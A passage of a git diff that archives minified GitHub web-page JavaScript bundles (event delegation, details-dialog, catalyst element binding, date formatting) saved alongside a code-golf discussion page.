ull_requests_file_tree_file-tree-element_ts":"sha512-8xUvTwoEdeZADPOE3Re8TURu/biwMTU5zw1nngnJ4ZEaiR9jdCD94bCScdRjEizUepjoQHoOloFSekND3Y0E0Q==","app_components_pull_requests_file_tree_file-tree-toggle-element_ts":"sha512-7z0FO5DEnByUiAj8SylkFHf8fStEgx3PNR+GLb0ubOzPK6eMt036lI39IV/Btlk7OJLXVrc4hsOoG14shTCnNw==","app_components_repos_alerts_dependabot-alert-row-element_ts":"sha512-SywsF6Zms7czM5n1qife/0uz8LH3m7KbIc9YtJREiZ8G45WzADZuQlfsWCd4ulamomkS/kO//uvnj1g/JKZyKQ==","app_components_repos_alerts_dependabot-alert-table-header-element_ts":"sha512-eooOXoFuSYMgk3P1uV/IdkSlkQd4tDTr60il9hT1x3NZMsotcuYNd5g0LG9hinY23vYLxypE4aGqCD4Klxstdg==","app_components_repositories_memex_memex-project-picker-element_ts":"sha512-U+0+9BX1fnF9dXk2gFZ5tHgvkEw2UsQbxybv9+sCv1dwAFmZPLG860c3Ti8zMXg3wsv09LFj4fJWCTmHv4KBDg==",app_components_search_parsing_common_ts:"sha512-Zp26qsmcPLngNRzQRw1H7GCEv6yQSKHnEjkMIxQ4+ifY24a4SSNdmZtsTwHESw/7OwBkK6aQo24oqYMsoCknOg==",app_components_search_suggestions_blackbird_ts:"sha512-nT8LmhZgTVjXgUF9CK3GY8IdgTcYQcmhxgsA6aUT4wg0cR/jVk1B/YE5VRDpkbCeB16uiXEoa/PmlGygMiomnw==","app_components_search_suggestions_custom-scopes_ts":"sha512-3yWFLjrYRLUAB6oZ58Stabx+/gGwA7Baykephq56A5TA0WG2HvjuKJbTBTO05cjk22FpKGwA5yRpiZkHj4eXRw==",app_components_search_suggestions_default_ts:"sha512-HnCDdQpYLyjUz/WadRyCKStd4WtOmEa6HrhlN1McRzpH9r1JIhjNDuMJMqzVQhDTbaUFWBSYmt1wSJ/f4aDoxA==","app_components_search_suggestions_fixed-qualifiers_ts":"sha512-89o1r1T3mLKODJXmqnk+WedDAG0vur/nZNkVNA/Ww6xlQe/3Pe7NVfeF6j+LF0lpXOuVaIiAMK1SSDsPycBB8g==",app_components_search_suggestions_history_ts:"sha512-W3d407jS9VxXVyYTgLU485MVvXJKJhzs9iB/iyw/w4fei1MnDGLak++RmV4OiAmmkT+kLJsGBSd/aavIoXJB3g==",app_components_search_suggestions_languages_ts:"sha512-+PkaaSelHAPYRWvviLTId1S3HIvVw0yk99N4K2OhA/qTP37c9cOFgsxqO6t/Ki5/tzGp6jyYDqEKgJJ7SMEBZQ==",app_components_search_suggestions_suggestions_ts:"sha512-B7Nlh0geByqceYH4+Rta1MOcallw8HWTDn5fiO21ZrADo+QrSod8uRcVTq3CXWX6p6brzmE0tOjoAP9yB7u6Pg==",app_components_search_suggestions_types_ts:"sha512-kW49jEW0Ab9BtybEId64VGmsyfPlOMVRk/ttcVGyeC6+rnUeIFnlln8vL0pNwdhKSOP2pCk5o6+8EvXVosLjdw==","app_components_slash_commands_slash-command-toolbar-button-element_ts":"sha512-RHdlYHzDfpMjOdZbCWoUFmk7jTWLHTjZetsimOsI0Ms7D+5RcEAw9R0Eob3AsGx51A2AKGReTLzV0zZ1rv91qg==","app_components_stafftools_turbo_turbo-staffbar-element_ts":"sha512-IvoC4fAhrI5aCxE5K9bvUE20nGvZSVpVDVEwBKXLNimIYPnLDBbuLuRZRqWVfmNrRWt6oKPX/LTdGZQ6QwtUcg==","app_components_stafftools_turbo_turbo-staffbar-preview-element_ts":"sha512-MCpREfCnzYzKvsgDV2FuJdeHsK0Ob0MzLmzsH8TO7CyOJ3osSerFgJsB0pfYjxTb1jXPJmPkeqe6SwdNr4VyDg==","app_components_themed_pictures_themed-picture-element_ts":"sha512-nyzAyLD8t++Lyh+i/IKpkIk0JfFWjP0qKvuLoM4xwk4ck35wyex+EacGOIFiOH2LelcXV0FiL/xboRcVtgNl+A==","app_components_tracking_blocks_tracking-block-api_ts":"sha512-0u38w/1aNEmAh0TLGo79x4AYCYdt7S4g5mR0FShL9mAHI3mvtDhb3HSVqZJGoeh8+3vkIw6UUYLFrt69hQJYqw==","app_components_tracking_blocks_tracking-block-element_ts":"sha512-G/lNuFWi3Z6zNIzTSz/T2zcqJ6Q9zgtE3ttmIErpquUgVfeT29w9J3DOChUvscxdIaveCQC9QcxPLstZf9tauw==","app_components_tracking_blocks_tracking-block-omnibar-element_ts":"sha512-93Y2PZscwJN7bH9FjJ1jEkJWb+KmThUoqqUPL2pn/5RoO8Bd5y0yMSWoRSPJTy90r7Pw/9R4513IQAWSdiXeVQ==","app_assets_modules_github_emoji-picker-element_ts":"sha512-XraQrYuikdc2um+3rCRgeIwFYRKLUjir8U/nwSYOF52Vu+1v8etWLeILxjZKclExKqR/yZvn0UJYYLWez3W1ng==","app_assets_modules_github_behaviors_edit-hook-secret-element_ts":"sha512-VRfnq+eDbUcN8tTNmazkjOfVLTwP1zk5uj9fcgMr5CJ44xcp3O6uEhIRf6ceEZqWXbXvFCXR74TJ/X9xhVOV3g==","app_assets_modules_github_insights_insights-query_ts":"sha512-HUmykKCpoMqBGXg4S+Nzyneods7BnBTFdmev9lHrzcNlM4NUFiMBAO6KDU4QInL0IUXdEuZZGUZv9f5jGvJoKQ==","app_assets_modules_github_insights_series-table_ts":"sha512-iMQOln09UQ5kc+1plprNbTA6oySd/N4Pv7pNm5C0x+9SU+O3dy1+amg2vZPGiXwk0wW5jGP5lIRKUFKF4YaNZA==","app_assets_modules_github_presence_presence-avatars_ts":"sha512-aO6oYeK9FLQSsM97Dv6ydNEidC1URILeRiPeecHGx1+eiq9VfY4RRORukAQU2o+ADwNj93pxyLIWh56EX1FBsQ==","app_assets_modules_github_behaviors_reload-after-polling-element_ts":"sha512-A4PhKT/oT4hmMoP9muRqfT0p0BESrLWM2Q055YxXW+1vjz8rHLBLMo0RWDhm5pVMfQ3ONZ3UB/DaGfAAKLMY0g==",app_assets_modules_github_dependencies_ts:"sha512-nt/ORE7b8HDLyl9kFMy/WSAJb5WY7Z7LnOJXxJ3nvpqgFW/0x6cWKlvpmLbWmE/Kavq1kyridh02ZMgxswaCIg==","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9":"sha512-wwilBKUArz/rX5pIRCf12Drd7eXVXs1ojNAHgi9psdcnAkO6+cB5qG1JeZN7rySsdjVfG9ROnrrjbjsoUIonsA==","app_assets_modules_github_graphs_network-graph-element_ts":"sha512-Tn2dyXwUODVBVNhSZCvNV+cpSmFs3I5Ac0cTiVt9ytytAtXbugUtI4wiHkvlob5EOaAkjhOXJ4fbn8CeEtaUBw==","app_assets_modules_github_localization_inline-machine-translation-element_ts":"sha512-IDhGCIIlRbHjsowkTJXs0sd/86Zcld1QMdi2paC9Asgm3ZaNFG7utv/8tiOendd16UL8atdCfNM9dZJzMn9PUQ=="},(()=>{var e={runtime:0};t.f.j=(a,n)=>{var s=t.o(e,a)?e[a]:void 0;if(s!==0)if(s)n.push(s[2]);else if(a!="runtime"){var p=new Promise((d,m)=>s=e[a]=[d,m]);n.push(s[2]=p);var r=t.p+t.u(a),i=new Error,l=u(d=>{if(t.o(e,a)&&(s=e[a],s!==0&&(e[a]=void 0),s)){var m=d&&(d.type==="load"?"missing":d.type),c=d&&d.target&&d.target.src;i.message="Loading chunk "+a+` failed. +(`+m+": "+c+")",i.name="ChunkLoadError",i.type=m,i.request=c,s[1](i)}},"loadingEnded");t.l(r,l,"chunk-"+a,a)}else e[a]=0},t.O.j=a=>e[a]===0;var o=u((a,n)=>{var[s,p,r]=n,i,l,d=0;if(s.some(c=>e[c]!==0)){for(i in p)t.o(p,i)&&(t.m[i]=p[i]);if(r)var m=r(t)}for(a&&a(n);d{var K=Object.defineProperty;var u=(W,L)=>K(W,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","node_modules_delegated-events_dist_index_js"],{59753:(W,L,H)=>{H.d(L,{f:()=>V,on:()=>z});function g(){if(!(this instanceof g))return new g;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}u(g,"SelectorSet");var x=window.document.documentElement,F=x.matches||x.webkitMatchesSelector||x.mozMatchesSelector||x.oMatchesSelector||x.msMatchesSelector;g.prototype.matchesSelector=function(e,r){return F.call(e,r)},g.prototype.querySelectorAll=function(e,r){return r.querySelectorAll(e)},g.prototype.indexes=[];var q=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"ID",selector:u(function(r){var n;if(n=r.match(q))return n[0].slice(1)},"matchIdSelector"),element:u(function(r){if(r.id)return[r.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"CLASS",selector:u(function(r){var n;if(n=r.match(P))return n[0].slice(1)},"matchClassSelector"),element:u(function(r){var n=r.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var B=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"TAG",selector:u(function(r){var n;if(n=r.match(B))return n[0].toUpperCase()},"matchTagSelector"),element:u(function(r){return[r.nodeName.toUpperCase()]},"getElementTagName")}),g.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var C;typeof window.Map=="function"?C=window.Map:C=function(){function e(){this.map={}}return u(e,"Map"),e.prototype.get=function(r){return this.map[r+" "]},e.prototype.set=function(r,n){this.map[r+" "]=n},e}();var I=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function O(e,r){e=e.slice(0).concat(e.default);var n=e.length,c,o,l,a,f=r,m,h,p=[];do if(I.exec(""),(l=I.exec(f))&&(f=l[3],l[2]||!f)){for(c=0;c3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];a||(a=new g,l[e]=a,document.addEventListener(e,k,o)),a.add(r,n)}u(z,"on");function G(e,r,n){var c=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];!a||(a.remove(r,n),!a.size&&(delete l[e],document.removeEventListener(e,k,o)))}u(G,"off");function V(e,r,n){return e.dispatchEvent(new CustomEvent(r,{bubbles:!0,cancelable:!0,detail:n}))}u(V,"fire")},14840:(W,L,H)=>{H.d(L,{Z:()=>R});const g="data-close-dialog",x=`[${g}]`;function F(s){let t=Array.from(s.querySelectorAll("[autofocus]")).filter(P)[0];t||(t=s,s.setAttribute("tabindex","-1")),t.focus()}u(F,"autofocus");function q(s){const t=s.currentTarget;t instanceof Element&&(s.key==="Escape"||s.key==="Esc"?(_(t,!1),s.stopPropagation()):s.key==="Tab"&&C(s))}u(q,"keydown");function P(s){return s.tabIndex>=0&&!s.disabled&&B(s)}u(P,"focusable");function B(s){return!s.hidden&&(!s.type||s.type!=="hidden")&&(s.offsetWidth>0||s.offsetHeight>0)}u(B,"visible");function C(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.querySelector("details-dialog");if(!t)return;s.preventDefault();const i=Array.from(t.querySelectorAll("*")).filter(P);if(i.length===0)return;const d=s.shiftKey?-1:1,E=t.getRootNode(),N=t.contains(E.activeElement)?E.activeElement:null;let k=d===-1?-1:0;if(N instanceof HTMLElement){const z=i.indexOf(N);z!==-1&&(k=z+d)}k<0?k=i.length-1:k=k%i.length,i[k].focus()}u(C,"restrictTabBehavior");function I(s){const t=s.querySelector("details-dialog");return t instanceof y?t.dispatchEvent(new CustomEvent("details-dialog-close",{bubbles:!0,cancelable:!0})):!0}u(I,"allowClosingDialog");function O(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.closest("details");!t||!t.hasAttribute("open")||I(t)||(s.preventDefault(),s.stopPropagation())}u(O,"onSummaryClick");function M(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(i instanceof y)if(t.hasAttribute("open")){const d="getRootNode"in i?i.getRootNode():document;d.activeElement instanceof HTMLElement&&b.set(i,{details:t,activeElement:d.activeElement}),F(i),t.addEventListener("keydown",q)}else{for(const E of i.querySelectorAll("form"))E.reset();const d=D(t,i);d&&d.focus(),t.removeEventListener("keydown",q)}}u(M,"toggle");function D(s,t){const i=b.get(t);return i&&i.activeElement instanceof HTMLElement?i.activeElement:s.querySelector("summary")}u(D,"findFocusElement");function _(s,t){t!==s.hasAttribute("open")&&(t?s.setAttribute("open",""):I(s)&&s.removeAttribute("open"))}u(_,"toggleDetails");function w(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(!(i instanceof y))return;const d=i.querySelector("include-fragment:not([src])");if(!d)return;const E=i.src;E!==null&&(d.addEventListener("loadend",()=>{t.hasAttribute("open")&&F(i)}),d.setAttribute("src",E),T(t))}u(w,"loadIncludeFragment");function A(s,t,i){T(s),t&&s.addEventListener("toggle",w,{once:!0}),t&&i&&s.addEventListener("mouseover",w,{once:!0})}u(A,"updateIncludeFragmentEventListeners");function T(s){s.removeEventListener("toggle",w),s.removeEventListener("mouseover",w)}u(T,"removeIncludeFragmentEventListeners");const b=new WeakMap;class y extends HTMLElement{static get CLOSE_ATTR(){return g}static get CLOSE_SELECTOR(){return x}constructor(){super();b.set(this,{details:null,activeElement:null}),this.addEventListener("click",function({target:t}){if(!(t instanceof Element))return;const i=t.closest("details");i&&t.closest(x)&&_(i,!1)})}get src(){return this.getAttribute("src")}set src(t){this.setAttribute("src",t||"")}get preload(){return this.hasAttribute("preload")}set preload(t){t?this.setAttribute("preload",""):this.removeAttribute("preload")}connectedCallback(){this.setAttribute("role","dialog"),this.setAttribute("aria-modal","true");const t=b.get(this);if(!t)return;const i=this.parentElement;if(!i)return;const d=i.querySelector("summary");d&&(d.hasAttribute("role")||d.setAttribute("role","button"),d.addEventListener("click",O,{capture:!0})),i.addEventListener("toggle",M),t.details=i,A(i,this.src,this.preload)}disconnectedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;if(!i)return;i.removeEventListener("toggle",M),T(i);const d=i.querySelector("summary");d&&d.removeEventListener("click",O,{capture:!0}),t.details=null}toggle(t){const i=b.get(this);if(!i)return;const{details:d}=i;!d||_(d,t)}static get observedAttributes(){return["src","preload"]}attributeChangedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;!i||A(i,this.src,this.preload)}}u(y,"DetailsDialogElement");const R=y;window.customElements.get("details-dialog")||(window.DetailsDialogElement=y,window.customElements.define("details-dialog",y))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-2fddb5aecbef.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js new file mode 100644 index 0000000..f0a9ad6 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var Z=Object.defineProperty;var a=(z,_)=>Z(z,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51","node_modules_delegated-events_dist_index_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c50","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"],{59753:(z,_,D)=>{D.d(_,{f:()=>o,on:()=>G});function p(){if(!(this instanceof p))return new p;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}a(p,"SelectorSet");var v=window.document.documentElement,P=v.matches||v.webkitMatchesSelector||v.mozMatchesSelector||v.oMatchesSelector||v.msMatchesSelector;p.prototype.matchesSelector=function(e,n){return P.call(e,n)},p.prototype.querySelectorAll=function(e,n){return n.querySelectorAll(e)},p.prototype.indexes=[];var y=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"ID",selector:a(function(n){var r;if(r=n.match(y))return r[0].slice(1)},"matchIdSelector"),element:a(function(n){if(n.id)return[n.id]},"getElementId")});var C=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"CLASS",selector:a(function(n){var r;if(r=n.match(C))return r[0].slice(1)},"matchClassSelector"),element:a(function(n){var r=n.className;if(r){if(typeof r=="string")return r.split(/\s/);if(typeof r=="object"&&"baseVal"in r)return r.baseVal.split(/\s/)}},"getElementClassNames")});var x=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"TAG",selector:a(function(n){var r;if(r=n.match(x))return r[0].toUpperCase()},"matchTagSelector"),element:a(function(n){return[n.nodeName.toUpperCase()]},"getElementTagName")}),p.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return a(e,"Map"),e.prototype.get=function(n){return this.map[n+" "]},e.prototype.set=function(n,r){this.map[n+" "]=r},e}();var S=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function w(e,n){e=e.slice(0).concat(e.default);var r=e.length,i,s,c,u,d=n,l,h,f=[];do if(S.exec(""),(c=S.exec(d))&&(d=c[3],c[2]||!d)){for(i=0;i3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];u||(u=new p,c[e]=u,document.addEventListener(e,V,s)),u.add(n,r)}a(G,"on");function t(e,n,r){var i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];!u||(u.remove(n,r),!u.size&&(delete c[e],document.removeEventListener(e,V,s)))}a(t,"off");function o(e,n,r){return e.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:!0,detail:r}))}a(o,"fire")},90420:(z,_,D)=>{D.d(_,{Lj:()=>T,Ih:()=>G,fA:()=>k,GO:()=>E});const p=new WeakSet;function v(t){p.add(t),t.shadowRoot&&P(t.shadowRoot),x(t),C(t.ownerDocument)}a(v,"bind");function P(t){x(t),C(t)}a(P,"bindShadow");const y=new WeakMap;function C(t=document){if(y.has(t))return y.get(t);let o=!1;const e=new MutationObserver(r=>{for(const i of r)if(i.type==="attributes"&&i.target instanceof Element)w(i.target);else if(i.type==="childList"&&i.addedNodes.length)for(const s of i.addedNodes)s instanceof Element&&x(s)});e.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const n={get closed(){return o},unsubscribe(){o=!0,y.delete(t),e.disconnect()}};return y.set(t,n),n}a(C,"listenForBind");function x(t){for(const o of t.querySelectorAll("[data-action]"))w(o);t instanceof Element&&t.hasAttribute("data-action")&&w(t)}a(x,"bindElements");function A(t){const o=t.currentTarget;for(const e of S(o))if(t.type===e.type){const n=o.closest(e.tag);p.has(n)&&typeof n[e.method]=="function"&&n[e.method](t);const r=o.getRootNode();if(r instanceof ShadowRoot&&p.has(r.host)&&r.host.matches(e.tag)){const i=r.host;typeof i[e.method]=="function"&&i[e.method](t)}}}a(A,"handleEvent");function*S(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const e=o.lastIndexOf(":"),n=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,e),tag:o.slice(e+1,n),method:o.slice(n+1)||"handleEvent"}}}a(S,"bindings");function w(t){for(const o of S(t))t.addEventListener(o.type,A)}a(w,"bindActions");function W(t,o){const e=t.tagName.toLowerCase();if(t.shadowRoot){for(const n of t.shadowRoot.querySelectorAll(`[data-target~="${e}.${o}"]`))if(!n.closest(e))return n}for(const n of t.querySelectorAll(`[data-target~="${e}.${o}"]`))if(n.closest(e)===t)return n}a(W,"findTarget");function M(t,o){const e=t.tagName.toLowerCase(),n=[];if(t.shadowRoot)for(const r of t.shadowRoot.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)||n.push(r);for(const r of t.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)===t&&n.push(r);return n}a(M,"findTargets");function k(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return W(this,o)}})}a(k,"target");function E(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return M(this,o)}})}a(E,"targets");function j(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}a(j,"register");function O(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}a(O,"autoShadowRoot");const m=new WeakMap;function T(t,o){m.has(t)||m.set(t,[]),m.get(t).push(o)}a(T,"attr");function N(t,o){o||(o=R(Object.getPrototypeOf(t)));for(const e of o){const n=t[e],r=F(e);let i={configurable:!0,get(){return this.getAttribute(r)||""},set(s){this.setAttribute(r,s||"")}};typeof n=="number"?i={configurable:!0,get(){return Number(this.getAttribute(r)||0)},set(s){this.setAttribute(r,s)}}:typeof n=="boolean"&&(i={configurable:!0,get(){return this.hasAttribute(r)},set(s){this.toggleAttribute(r,s)}}),Object.defineProperty(t,e,i),e in t&&!t.hasAttribute(r)&&i.set.call(t,n)}}a(N,"initializeAttrs");function R(t){const o=new Set;let e=t;for(;e&&e!==HTMLElement;){const n=m.get(e)||[];for(const r of n)o.add(r);e=Object.getPrototypeOf(e)}return o}a(R,"getAttrNames");function F(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}a(F,"attrToAttributeName");function U(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...R(t.prototype)].map(F).concat(o)},set(e){o=e}})}a(U,"defineObservedAttributes");const L=new WeakSet;function $(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),L.add(t),O(t),N(t),v(t),o&&o.call(t),t.shadowRoot&&P(t.shadowRoot)}a($,"initializeInstance");function B(t){U(t),j(t)}a(B,"initializeClass");function V(t){return L.has(t)}a(V,"initialized");function G(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){$(this,o)},B(t)}a(G,"controller")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51-edfd57e08401.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js new file mode 100644 index 0000000..c45b168 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var B=Object.defineProperty;var i=(I,_)=>B(I,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js"],{90420:(I,_,L)=>{L.d(_,{Lj:()=>Y,Ih:()=>T,fA:()=>P,GO:()=>U});const F=new WeakSet;function v(e){F.add(e),e.shadowRoot&&g(e.shadowRoot),p(e),b(e.ownerDocument)}i(v,"bind");function g(e){p(e),b(e)}i(g,"bindShadow");const w=new WeakMap;function b(e=document){if(w.has(e))return w.get(e);let o=!1;const a=new MutationObserver(m=>{for(const n of m)if(n.type==="attributes"&&n.target instanceof Element)M(n.target);else if(n.type==="childList"&&n.addedNodes.length)for(const t of n.addedNodes)t instanceof Element&&p(t)});a.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const l={get closed(){return o},unsubscribe(){o=!0,w.delete(e),a.disconnect()}};return w.set(e,l),l}i(b,"listenForBind");function p(e){for(const o of e.querySelectorAll("[data-action]"))M(o);e instanceof Element&&e.hasAttribute("data-action")&&M(e)}i(p,"bindElements");function z(e){const o=e.currentTarget;for(const a of D(o))if(e.type===a.type){const l=o.closest(a.tag);F.has(l)&&typeof l[a.method]=="function"&&l[a.method](e);const m=o.getRootNode();if(m instanceof ShadowRoot&&F.has(m.host)&&m.host.matches(a.tag)){const n=m.host;typeof n[a.method]=="function"&&n[a.method](e)}}}i(z,"handleEvent");function*D(e){for(const o of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const a=o.lastIndexOf(":"),l=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,a),tag:o.slice(a+1,l),method:o.slice(l+1)||"handleEvent"}}}i(D,"bindings");function M(e){for(const o of D(e))e.addEventListener(o.type,z)}i(M,"bindActions");function N(e,o){const a=e.tagName.toLowerCase();if(e.shadowRoot){for(const l of e.shadowRoot.querySelectorAll(`[data-target~="${a}.${o}"]`))if(!l.closest(a))return l}for(const l of e.querySelectorAll(`[data-target~="${a}.${o}"]`))if(l.closest(a)===e)return l}i(N,"findTarget");function q(e,o){const a=e.tagName.toLowerCase(),l=[];if(e.shadowRoot)for(const m of e.shadowRoot.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)||l.push(m);for(const m of e.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)===e&&l.push(m);return l}i(q,"findTargets");function P(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return N(this,o)}})}i(P,"target");function U(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return q(this,o)}})}i(U,"targets");function E(e){const o=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[e.name]=e,window.customElements.define(o,e))}i(E,"register");function C(e){for(const o of e.querySelectorAll("template[data-shadowroot]"))o.parentElement===e&&e.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(C,"autoShadowRoot");const A=new WeakMap;function Y(e,o){A.has(e)||A.set(e,[]),A.get(e).push(o)}i(Y,"attr");function R(e,o){o||(o=S(Object.getPrototypeOf(e)));for(const a of o){const l=e[a],m=x(a);let n={configurable:!0,get(){return this.getAttribute(m)||""},set(t){this.setAttribute(m,t||"")}};typeof l=="number"?n={configurable:!0,get(){return Number(this.getAttribute(m)||0)},set(t){this.setAttribute(m,t)}}:typeof l=="boolean"&&(n={configurable:!0,get(){return this.hasAttribute(m)},set(t){this.toggleAttribute(m,t)}}),Object.defineProperty(e,a,n),a in e&&!e.hasAttribute(m)&&n.set.call(e,l)}}i(R,"initializeAttrs");function S(e){const o=new Set;let a=e;for(;a&&a!==HTMLElement;){const l=A.get(a)||[];for(const m of l)o.add(m);a=Object.getPrototypeOf(a)}return o}i(S,"getAttrNames");function x(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(x,"attrToAttributeName");function H(e){let o=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...S(e.prototype)].map(x).concat(o)},set(a){o=a}})}i(H,"defineObservedAttributes");const y=new WeakSet;function h(e,o){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),y.add(e),C(e),R(e),v(e),o&&o.call(e),e.shadowRoot&&g(e.shadowRoot)}i(h,"initializeInstance");function O(e){H(e),E(e)}i(O,"initializeClass");function Z(e){return y.has(e)}i(Z,"initialized");function T(e){const o=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){h(this,o)},O(e)}i(T,"controller")},75329:(I,_,L)=>{L.d(_,{nJ:()=>T});const F=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],v=["January","February","March","April","May","June","July","August","September","October","November","December"];function g(n){return`0${n}`.slice(-2)}i(g,"pad");function w(n,t){const r=n.getDay(),s=n.getDate(),c=n.getMonth(),u=n.getFullYear(),d=n.getHours(),f=n.getMinutes(),$=n.getSeconds();return t.replace(/%([%aAbBcdeHIlmMpPSwyYZz])/g,function(W){let k;switch(W[1]){case"%":return"%";case"a":return F[r].slice(0,3);case"A":return F[r];case"b":return v[c].slice(0,3);case"B":return v[c];case"c":return n.toString();case"d":return g(s);case"e":return String(s);case"H":return g(d);case"I":return g(w(n,"%l"));case"l":return String(d===0||d===12?12:(d+12)%12);case"m":return g(c+1);case"M":return g(f);case"p":return d>11?"PM":"AM";case"P":return d>11?"pm":"am";case"S":return g($);case"w":return String(r);case"y":return g(u%100);case"Y":return String(u);case"Z":return k=n.toString().match(/\((\w+)\)$/),k?k[1]:"";case"z":return k=n.toString().match(/\w([+-]\d\d\d\d) /),k?k[1]:""}return""})}i(w,"strftime");function b(n){let t;return function(){if(t)return 